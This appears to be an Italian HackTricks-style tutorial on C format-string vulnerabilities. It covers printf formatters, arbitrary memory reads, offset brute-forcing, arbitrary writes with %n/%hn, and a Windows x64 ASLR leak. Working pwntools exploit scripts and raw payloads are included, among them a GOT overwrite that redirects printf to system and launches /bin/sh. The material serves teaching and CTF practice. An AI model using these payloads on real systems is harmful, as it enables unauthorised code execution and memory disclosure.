261 lines
12 KiB
Markdown

# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di base
In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo.
Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario.
#### Formattatori:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Esempi:**
- Esempio vulnerabile:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Uso normale:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Con argomenti mancanti:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerabile:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Accesso ai puntatori**
Il formato **`%<n>$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare:
```c
printf("%x %x %x %x")
```
e leggeresti dal primo al quarto parametro.
Oppure potresti fare:
```c
printf("%4$x")
```
e leggere direttamente il quarto.
Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.
> [!CAUTION]
> Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento.
## **Arbitrary Read**
È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo.
### Trovare l'offset
Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Quanto è utile
Arbitrary reads possono essere utili per:
- **Dump** il **binary** dalla memoria
- **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi.
Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).**
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\
Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
- **HOB** indica i 2 byte più alti dell'indirizzo
- **LOB** indica i 2 byte più bassi dell'indirizzo
Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
Se HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Se HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Modello
Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in:
{{#ref}}
format-strings-template.md
{{#endref}}
Oppure questo esempio di base da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format Strings to BOF
È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR.
Flusso pratico:
- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
- Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`.
- Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto.
Esempio (abbreviato python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Note:
- L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione).
- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti.
- Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede.
Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure.
## Altri Esempi & Riferimenti
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati.
## Riferimenti
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}